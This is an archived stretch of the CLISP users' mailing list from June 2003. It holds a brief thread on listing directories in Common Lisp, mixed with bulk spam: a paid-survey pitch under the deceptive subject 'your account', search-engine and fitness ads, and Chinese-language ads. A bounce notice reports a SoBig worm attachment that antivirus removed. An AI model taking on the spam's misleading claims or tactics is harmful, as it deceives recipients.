environment to send and receive money, and maintain the PayPal Experience.  


About | Accounts | Fees | Privacy | Security Center | User Agreement | Developers | Referrals | Shops



Copyright © 1999-2003 PayPal. All rights reserved.
Information about FDIC pass-through insurance
From josh@dkp.com Wed Jun 25 10:03:54 2003 Received: from mail.dkp.com ([204.191.16.3]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19VDgW-0002Zb-00 for ; Wed, 25 Jun 2003 10:03:53 -0700 Received: by mail.dkp.com (Postfix, from userid 20001) id BA0F82AD6E; Wed, 25 Jun 2003 13:03:50 -0400 (EDT) Received: from mail.dkp.com (mail.dkp.com [10.0.0.5]) by mail.dkp.com (Postfix) with ESMTP id 38DC92AD65 for ; Wed, 25 Jun 2003 13:03:50 -0400 (EDT) From: Jos'h Fuller To: clisp-list@lists.sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sanitizer: This message has been sanitized! X-Sanitizer-URL: http://mailtools.anomy.net/ X-Sanitizer-Rev: $Id: Sanitizer.pm,v 1.54 2002/02/15 16:59:07 bre Exp $ Subject: [clisp-list] [Q] Getting a list of directories? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 25 10:18:59 2003 X-Original-Date: Wed, 25 Jun 2003 13:03:50 -0400 (EDT) Hi! Is it possible to get a list of the directories in a particular directory? If I use (directory) I just get a list of files. I have searched the CLHS, CLISP implementation notes and Google with no dice. Barring this, is there any kind of operating system interface in CLISP, something similar to Python's os.system() or os.popen()? I'm using CLISP 2.30 on Linux. I'm trying to build an web-based file lister interface. So far it's doing everything right except showing subdirectories! Thanks! Jos'h From samuel.steingold@verizon.net Wed Jun 25 10:41:03 2003 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19VEGO-0002ta-00 for ; Wed, 25 Jun 2003 10:40:56 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.6/8.11.6/check_local-4.4) with ESMTP id h5PHejO27009; Wed, 25 Jun 2003 13:40:45 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: "Jos'h Fuller" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] [Q] Getting a list of directories? References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 22 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 25 10:42:02 2003 X-Original-Date: 25 Jun 2003 13:40:45 -0400 > * In message > * On the subject of "[clisp-list] [Q] Getting a list of directories?" > * Sent on Wed, 25 Jun 2003 13:03:50 -0400 (EDT) > * Honorable Jos'h Fuller writes: > > Is it possible to get a list of the directories in a particular > directory? If I use (directory) I just get a list of files. I have > searched the CLHS, CLISP implementation notes and Google with no dice. > Barring this, is there any kind of operating system interface in > CLISP, something similar to Python's os.system() or os.popen()? -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux If it has syntax, it isn't user friendly. From josh@dkp.com Wed Jun 25 11:03:42 2003 Received: from mail.dkp.com ([204.191.16.3]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19VEcO-0001fZ-00 for ; Wed, 25 Jun 2003 11:03:40 -0700 Received: by mail.dkp.com (Postfix, from userid 20001) id 045872AD60; Wed, 25 Jun 2003 14:03:36 -0400 (EDT) Received: from mail.dkp.com (mail.dkp.com [10.0.0.5]) by mail.dkp.com (Postfix) with ESMTP id 5F0D62AD5A; Wed, 25 Jun 2003 14:03:33 -0400 (EDT) From: Jos'h Fuller To: Sam Steingold Cc: "clisp-list@lists.sourceforge.net" Subject: Re: [clisp-list] [Q] Getting a list of directories? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sanitizer: This message has been sanitized! X-Sanitizer-URL: http://mailtools.anomy.net/ X-Sanitizer-Rev: $Id: Sanitizer.pm,v 1.54 2002/02/15 16:59:07 bre Exp $ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 25 11:04:11 2003 X-Original-Date: Wed, 25 Jun 2003 14:03:33 -0400 (EDT) Hi! > > Is it possible to get a list of the directories in a particular > > > > > Barring this, is there any kind of operating system interface in > > I _really_ did go through the implementation notes... But I didn't see this stuff at _all_. I guess I got sidetraced on the directory LDAP stuff. Thanks very much for your quick response... I was going to have to scrap the thing and go with Python. Can you tell I'm new at this? Jos'h From lisp-clisp-list@m.gmane.org Wed Jun 25 11:28:01 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19VEzv-00059G-00 for ; Wed, 25 Jun 2003 11:27:59 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19VEwf-0008VS-00 for ; Wed, 25 Jun 2003 20:24:37 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19VEuY-0008HD-00 for ; Wed, 25 Jun 2003 20:22:26 +0200 From: Sam Steingold Organization: disorganization Lines: 32 Message-ID: References: Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@main.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: [Q] Getting a list of directories? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 25 11:29:11 2003 X-Original-Date: 25 Jun 2003 14:22:43 -0400 > * In message > * On the subject of "Re: [Q] Getting a list of directories?" > * Sent on Wed, 25 Jun 2003 14:03:33 -0400 (EDT) > * Honorable Jos'h Fuller writes: > > Thanks very much for your quick response... you are very welcome. > I was going to have to scrap the thing and go with Python. CLISP possible weaknesses are not a good reason to switch to an interpreted language with syntactic whitespace which is defined by a unique implementation. () Other Common Lisp implementations, like CMUCL, SBCL, GCL, ECL &c, are better alternatives if you feel that CLISP is lacking. It might be a good idea to check out CLOCC/PORT (http://clocc.sf.net, ) and use it to avoid becoming locked in a specific Common Lisp implementation. > Can you tell I'm new at this? OTOH, if you are really new to CL, it might be better to stick to one implementation and use get used to it... -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux I may be getting older, but I refuse to grow up! From servicesnobanq@innd.biz Wed Jun 25 18:52:31 2003 Received: from [63.144.58.37] (helo=mail37.littlesinger.com) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19VLw6-0008JN-00 for ; Wed, 25 Jun 2003 18:52:31 -0700 To: clisp-list@lists.sourceforge.net Message-ID: <1056586119.6150@mail37.littlesinger.com> X-Mailer: Mutt/1.3.19i From: servicesmebomq@innd.biz Subject: [clisp-list] your account Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 25 18:53:11 2003 X-Original-Date: Wed, 25 Jun 2003 20:08:39 -0500 How would you like to earn $50 or more for completing a short survey? What about $100 for an hour of your time participating in a focus group? http://www.xtrameg.com/trt/ Your time and opinions are valuable - you just need to know which companies are willing to pay you for them. Our membership program provides.... - An updated database of hundreds of paid survey, focus group, and market research companies - Unlimited access - 24 hours a day, 7 days a week http://www.xtrameg.com/trt/ This is a great way to boost your income, with minimal effort.Best of all, you can participate in as many surveys or focus groups as you choose! pyvfc-yvfg^yvfgf(fbheprsbetr(arg From will@misconception.org.uk Thu Jun 26 01:16:20 2003 Received: from www.cmedltd.com ([194.201.210.209] helo=cmedltd.com) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19VRvW-0000XQ-00 for ; Thu, 26 Jun 2003 01:16:19 -0700 Received: (qmail 28742 invoked from network); 26 Jun 2003 08:09:19 -0000 Received: from unknown (HELO horsham.cmedltd.com) (192.168.1.100) by webserver1.cmedltd.com (172.16.1.2) with SMTP; 26 Jun 2003 08:09:19 -0000 Received: (qmail 12403 invoked from network); 26 Jun 2003 08:16:10 -0000 Received: from pc-00203 (HELO brogue.horsham.cmedltd.com) (192.168.1.203) by cmedserver1.horsham.cmedltd.com (192.168.1.100) with ESMTP; 26 Jun 2003 08:16:10 -0000 From: Will Newton To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: [Q] Getting a list of directories? User-Agent: KMail/1.5.2 References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200306260915.55344.will@misconception.org.uk> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jun 26 01:17:11 2003 X-Original-Date: Thu, 26 Jun 2003 09:15:55 +0100 On Wednesday 25 June 2003 19:22, Sam Steingold wrote: > > I was going to have to scrap the thing and go with Python. > > CLISP possible weaknesses are not a good reason to switch to an > interpreted language with syntactic whitespace which is defined by a > unique implementation. () Not to be a pedant, but there are two implementations of Python with a third in the works (Python (C), Jython (Java), PyPy (Python)). Python and Jython also byte compile code. From return@tm-hosting.com Thu Jun 26 02:54:45 2003 Received: from [218.106.186.10] (helo=localhost.localdomain) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19VTSl-0005dU-00 for ; Thu, 26 Jun 2003 02:54:45 -0700 Received: from () by (8.12.5/8.12.5) with SMTP id h5QA1Bcd016721 for ; Thu, 26 Jun 2003 18:03:44 +0800 Message-Id: <> From: Sarah Williams To: "clisp-list@lists.sf.net" X-Mailer: CSMTPConnection v2.17 MIME-Version: 1.0 Content-Type: multipart/related; boundary="08da9dbf-7fe7-438b-84fd-8f007dd97318" Content-Transfer-Encoding: quoted-printable Reply-To: Sarah Williams Subject: [clisp-list] CLISP.SF.NET Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jun 26 02:55:24 2003 X-Original-Date: Thu, 26 Jun 2003 17:54:29 +0800 This is a multi-part message in MIME format --08da9dbf-7fe7-438b-84fd-8f007dd97318 Content-Type: text/html; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable
Hi

I visited CLISP.SF.NET, and = noticed that you're not listed on some search engines! I think we can offer you a service which can help you increase traffic = and the number of visitors to your website.

I would like to = introduce you to Trafficmagnet.com. We offer a unique technology that will submit your website to over = 300,000 search engines and directories every month.

 

You'll be surprised by the = low cost, and by how effective this website promotion method can be.

To find out more about TrafficMagnet and the cost for = submitting your website to over 300,000 search engines and directories, visit www.trafficmagnet.com.

I would love to hear from you.


Best Regards,

Sarah Williams
Sales and Marketing
E-mail: sarah_williams@tm-hosting.com
http://www.trafficmagnet.com=

This email was sent to clisp-list@lists.sf.net. We apologize if this email = has reached you in error.
We honor all removal requests. Please click here to be removed from our mailing list.

--08da9dbf-7fe7-438b-84fd-8f007dd97318-- From marcoxa@cs.nyu.edu Thu Jun 26 07:52:51 2003 Received: from cat.nyu.edu ([128.122.47.28]) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19VY79-0005qZ-00 for ; Thu, 26 Jun 2003 07:52:43 -0700 Received: from cs.nyu.edu (BIOINFORMATICS.CIMS.NYU.EDU [216.165.110.10]) by cat.nyu.edu (Postfix) with ESMTP id 8897A19D56; Thu, 26 Jun 2003 10:52:01 -0400 (EDT) Subject: Re: [clisp-list] Re: [Q] Getting a list of directories? Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v552) Cc: clisp-list@lists.sourceforge.net To: Will Newton From: Marco Antoniotti In-Reply-To: <200306260915.55344.will@misconception.org.uk> Message-Id: Content-Transfer-Encoding: 7bit X-Mailer: Apple Mail (2.552) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jun 26 07:53:40 2003 X-Original-Date: Thu, 26 Jun 2003 10:52:30 -0400 On Thursday, Jun 26, 2003, at 04:15 America/New_York, Will Newton wrote: > On Wednesday 25 June 2003 19:22, Sam Steingold wrote: > >>> I was going to have to scrap the thing and go with Python. >> >> CLISP possible weaknesses are not a good reason to switch to an >> interpreted language with syntactic whitespace which is defined by a >> unique implementation. () > > Not to be a pedant, but there are two implementations of Python with a > third > in the works (Python (C), Jython (Java), PyPy (Python)). Python and > Jython > also byte compile code. Which only proves that entropy is increasing. :) Cheers -- Marco Antoniotti NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 715 Broadway 10th FL fax. +1 - 212 - 998 3484 New York, NY, 10003, U.S.A. From GwennAgentins8@eartlink.com Fri Jun 27 00:05:43 2003 Received: from [61.35.142.131] (helo=eartlink.com) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19VnIf-0000ZS-00 for ; Fri, 27 Jun 2003 00:05:38 -0700 Message-ID: <49ad01c33c76$232b17a0$261c8fcf@GwennAgentins8> Reply-To: GwennAgentins8@eartlink.com From: GwennAgentins8@eartlink.com To: "Healthier Lifestyles" MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_A8A_8F0B_A19B35AE.84DB931E" X-Priority: 3 User-Agent: AOL 8.0 for Windows US sub 230 Subject: [clisp-list] RE:Interested In Increasing Your Energy Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jun 27 00:06:09 2003 X-Original-Date: Fri, 27 Jun 2003 16:34:19 +1000 ------=_NextPart_A8A_8F0B_A19B35AE.84DB931E Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable ------=_NextPart_A8A_8F0B_A19B35AE.84DB931E Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable ANNOUNCEMENT

Finally= ! You can have a professional weight loss and exercise program with= a Certified Personal Trainer...

 

Professional Telephone Personal Training is the new revolution in weight loss = and fitness.  Studies s= how that results are off the charts!

 

&nb= sp;

If you are interested in a FREE 15 = minute Con= sultation CLICK HERE

&nb= sp;

&nb= sp;

If you are frustrated by your inability to lose weight and keep it o= ff, then you need to discover the power of this new program. If you want a= fitness program that will last a lifetime, then Telephone Fitness is for = YOU.


Y= ou can
have a professional weight loss and exercise program with a Certi= fied Personal Trainer that is private, affordabl= e, convenie= nt, and flexible= .

 

&= nbsp;

CLICK HERE For a FREE 15 minute Consult= ation.  Discover Telephone Fitness Training and start losing weigh= t now!

&= nbsp;

Thanks in advance....

&nb= sp;

&nb= sp;

Gwenn
Certified Personal Trainer & Group Instructor

 

&nb= sp;



<= font size=3D"3">P.S. Do you know a business that wants improved health for its employees? Be a joint business participant (two smaller companies= together) and receive a Power Up Workshop discount.

 

 

 

 

 

<= span style=3D"font-size: 9.0pt; mso-bidi-font-size: 10.0pt">We don't want anyone to receive our mailings that do not wish to rec= eive them. This is a professional communication sent to the party inte= nded. To be removed from this mailing list, CLICK HERE

------=_NextPart_A8A_8F0B_A19B35AE.84DB931E-- From 168@ms8.hinet.net Fri Jun 27 02:28:15 2003 Received: from panoramix.vasoftware.com ([198.186.202.147] helo=externalmx.vasoftware.com ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19VpWh-0005fG-00 for ; Fri, 27 Jun 2003 02:28:15 -0700 Received: from kh218-187-188-138.adsl.pl.apol.com.tw ([218.187.188.138]:64810 helo=ms8.hinet.net) by externalmx.vasoftware.com with esmtp (Exim 4.20 #1 (Debian)) id 19VpW8-0005eZ-CM for ; Fri, 27 Jun 2003 02:27:41 -0700 From: 168@ms8.hinet.net To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_7TGIN5qY_WkIwMJyh_MA" Message-Id: X-EA-Verified: externalmx.vasoftware.com 19VpW8-0005eZ-CM a35c329473b164d37caf6614d1963f5e X-Spam-Score: 6.5 Subject: [clisp-list] =?ISO-8859-1?B?rVC0Saq6pECryqtI?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jun 27 02:29:04 2003 X-Original-Date: 27 Jun 2003 17:31:58 +0800 ------=_7TGIN5qY_WkIwMJyh_MA Content-Type: text/plain Content-Transfer-Encoding: 8bit -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- (This safeguard is not inserted when using the registered version) -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- (This safeguard is not inserted when using the registered version) -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- ------=_7TGIN5qY_WkIwMJyh_MA Content-Type: text/html Content-Transfer-Encoding: 8bit ¬°¤°»ò¤@ª½¸ò¦Û¤v¹L¤£¥h©O

                                           

¬°¤°»ò¤@ª½¸ò¦Û¤v¹L¤£¥h©O

¤£¬O¾á¤ß§ä¤£¨ì¤u§@ 

´N¬O¾á¤ß´º®ð¤£¦n¤U¤@­Óµô­û¦³¨S¦³¥i¯à¬O§A

¤£¾á¤ßµô­û´N«è¦¬¤J¤£¦n

¤Ï¥¿¶V§V¤O¦ÑÁ󨮤l¶V¤j 

¶V§V¤O    ¦ÑÁó©Ð¤l¶V¤j

­þ­Ó®É­Ô§â¦Û¤vªº»ù­È¯dµ¹¦Û¤v©O

¤H¥Íªºªø«×©Î³\§Ú­Ì¤£¯à±±¨î     ¦ý¼e«×§Ú­Ì¥i¥H¦Û¤v´x´¤  ¿ï¾ÜÅý¤H¥ÍÅܪººëªö

¡@

¡@

------=_7TGIN5qY_WkIwMJyh_MA-- From MAILER-DAEMON Fri Jun 27 14:57:33 2003 Received: from e34.co.us.ibm.com ([32.97.110.132]) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19W0w0-00008c-00 for ; Fri, 27 Jun 2003 14:39:09 -0700 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e34.co.us.ibm.com (8.12.9/8.12.2) with ESMTP id h5RLd3DG232522 for ; Fri, 27 Jun 2003 17:39:03 -0400 Received: from d03nh003.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.9/NCO/VER6.5) with ESMTP id h5RLd10d200796 for ; Fri, 27 Jun 2003 15:39:02 -0600 Message-Id: <200306272138.h5RLbmlK273306@e31.co.us.ibm.com> From: Postmaster@us.ibm.com To: Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 X-OriginalArrivalTime: 27 Jun 2003 21:38:59.0465 (UTC) FILETIME=[84D38F90:01C33CF4] X-MIMETrack: Itemize by SMTP Server on D03NH003/03/H/IBM(Release 6.0.1 [IBM]|June 10, 2003) at 06/27/2003 15:39:00, Serialize by Router on D03NH003/03/H/IBM(Release 6.0.1 [IBM]|June 10, 2003) at 06/27/2003 15:39:02, Serialize complete at 06/27/2003 15:39:02 Content-Type: multipart/report; report-type=delivery-status; boundary="==IFJRGLKFGIR27762UHRUHIHD" Subject: [clisp-list] DELIVERY FAILURE: User frossard (frossard@us.ibm.com) not listed in Domino Directory Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jun 27 14:58:03 2003 X-Original-Date: Fri, 27 Jun 2003 14:39:28 --0700 --==IFJRGLKFGIR27762UHRUHIHD Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: base64 WW91ciBtZXNzYWdlDQoNCiAgU3ViamVjdDogW1Byb2JhYmxlU3BhbV0gUmU6IEFwcGxpY2F0aW9u DQoNCndhcyBub3QgZGVsaXZlcmVkIHRvOg0KDQogIGZyb3NzYXJkQHVzLmlibS5jb20NCg0KYmVj YXVzZToNCg0KICBVc2VyIGZyb3NzYXJkIChmcm9zc2FyZEB1cy5pYm0uY29tKSBub3QgbGlzdGVk IGluIERvbWlubyBEaXJlY3RvcnkNCg0K --==IFJRGLKFGIR27762UHRUHIHD Content-Type: message/delivery-status Reporting-MTA: dns;d03nh003.boulder.ibm.com Final-Recipient: rfc822;frossard@us.ibm.com Action: failed Status: 5.1.1 Diagnostic-Code: X-Notes; User frossard (frossard@us.ibm.com) not liste d in Domino Directory --==IFJRGLKFGIR27762UHRUHIHD Content-Type: message/rfc822 Received: from westrelay03.boulder.ibm.com ([9.17.195.12]) by d03nh003.boulder.ibm.com (Lotus Domino Release 6.0.1 [IBM]) with ESMTP id 2003062715390071-1532176 ; Fri, 27 Jun 2003 15:39:00 -0600 Received: from d03as03.boulder.ibm.com (d03av01.boulder.ibm.com [9.17.193.81]) by westrelay03.boulder.ibm.com (8.12.9/NCO/VER6.5) with ESMTP id h5RLd0gW127250 for ; Fri, 27 Jun 2003 15:39:00 -0600 Received: from e31.co.us.ibm.com ([9.14.4.129]) by d03as03.boulder.ibm.com with Microsoft SMTPSVC(5.0.2195.5329); Fri, 27 Jun 2003 15:38:59 -0600 Received: from PCEB216 (dialup-67.74.38.177.Dial1.SanFrancisco1.Level3.net [67.74.38.177]) by e31.co.us.ibm.com (8.12.9/8.12.2) with ESMTP id h5RLbmlK273306 for ; Fri, 27 Jun 2003 17:38:00 -0400 Message-Id: <200306272138.h5RLbmlK273306@e31.co.us.ibm.com> From: To: Subject: [ProbableSpam] Re: Application Date: Fri, 27 Jun 2003 14:39:28 --0700 Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 X-OriginalArrivalTime: 27 Jun 2003 21:38:59.0465 (UTC) FILETIME=[84D38F90:01C33CF4] X-MIMETrack: Itemize by SMTP Server on D03NH003/03/H/IBM(Release 6.0.1 [IBM]|June 10, 2003) at 06/27/2003 15:39:00, Serialize by Router on D03NH003/03/H/IBM(Release 6.0.1 [IBM]|June 10, 2003) at 06/27/2003 15:39:02, Serialize complete at 06/27/2003 15:39:02 Content-Type: multipart/mixed; boundary="CSmtpMsgPart123X456_000_1E84610B" This is a multipart message in MIME format --CSmtpMsgPart123X456_000_1E84610B Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset="iso-8859-1" Please see the attached zip file for details. --CSmtpMsgPart123X456_000_1E84610B Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=us-ascii your_details.zip is removed from here because it contains a virus. --CSmtpMsgPart123X456_000_1E84610B Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=us-ascii Found virus WORM_SOBIG.E in file details.pif (in your_details.zip) The file is deleted. IBM's antivirus detection system has identified a virus in an attachment to this e-mail. The attachment has been deleted. No further reporting or action is required on your part. THIS EMAIL IS NOW SAFE TO OPEN. Visit w3.ibm.com/virus for more information. --CSmtpMsgPart123X456_000_1E84610B-- --==IFJRGLKFGIR27762UHRUHIHD-- From translation5@eyou.com Fri Jun 27 21:00:21 2003 Received: from [61.48.32.28] (helo=eyou.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19W6sv-0003c2-00 for ; Fri, 27 Jun 2003 21:00:21 -0700 From: =?GB2312?B?sbG+qdeovNK3rdLrzfg=?= To: clisp-list@lists.sourceforge.net Content-Type: text/html;charset="GB2312" Reply-To: translation6@eyou.com X-Priority: 3 X-Mailer: Foxmail 4.1 [cn] Message-Id: Subject: [clisp-list] =?GB2312?B?sbG+qbuq0uu3rdLruavLviAgvd+zz86qxPrM4bmpt63S67f+zvE=?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jun 27 21:01:04 2003 X-Original-Date: Tue, 1 Feb 2005 12:01:19 +0800 ±±¾©×¨¼Ò·­ÒëÍø

¡¡


±±¾©»ªÒë·­Ò빫˾¡ª¡ª ½ß³ÏΪÄúÌṩ·­Òë·þÎñ  

Cost-Effective Solutions for Global Translations! Huayi Translation Co., Ltd.

·­ÒëÈÈÏß:Tel:010-82115891    82115892

¹«Ë¾¼ò½é£º±±¾©»ªÒë·­Ò빫˾ÓÉÇ廪¡¢±±´óºÍÈË´óµÄ¼¸Î»×¨¼ÒÇ×ÊÖ´´°ìºÍ¹ÜÀíµÄ²ã´Î½Ï¸ßµÄ·­Òë·þÎñ»ú¹¹£¬±¾¹«Ë¾ÔƼ¯ÁËÊýǧÃû¾ßÓи÷ÖÖרҵ±³¾°ÖªÊ¶µÄר¼æÖ°·­Ò룬±¾×Å¡°ÓÅÖʸßЧ¡¢¼Û¸ñºÏÀí¡¢·½±ã¿ì½Ý¡¢¸ß¶È±£ÃÜ¡±µÄÔ­Ôò£¬½ß³ÏΪ¹ã´óÆóÊÂÒµµ¥Î»¡¢¿ÆÑлú¹¹¡¢Õþ¸®²¿ÃÅ¡¢Éç»áÍÅÌåºÍ¸öÈËÌṩ¸ßË®×¼¡¢×¨Òµ»¯¡¢È«·½Î»µÄ·­Òë·þÎñ¡£

Beijing Huayi Translation Co., Ltd provides high quality translation services in most of the world¡¯s commercially significant languages. We are good at translation works in the following language-pairs: English-Chinese, Chinese-English, French-Chinese, Chinese-French, German-Chinese, Chinese-German, Japanese-Chinese, Chinese-Japanese, Russian-Chinese, Chinese-Russian, Korean-Chinese, and Chinese-Korean.    Tel: 0086-10-82115891 beijing2188@sohu.com remove: translation18@sohu.com 

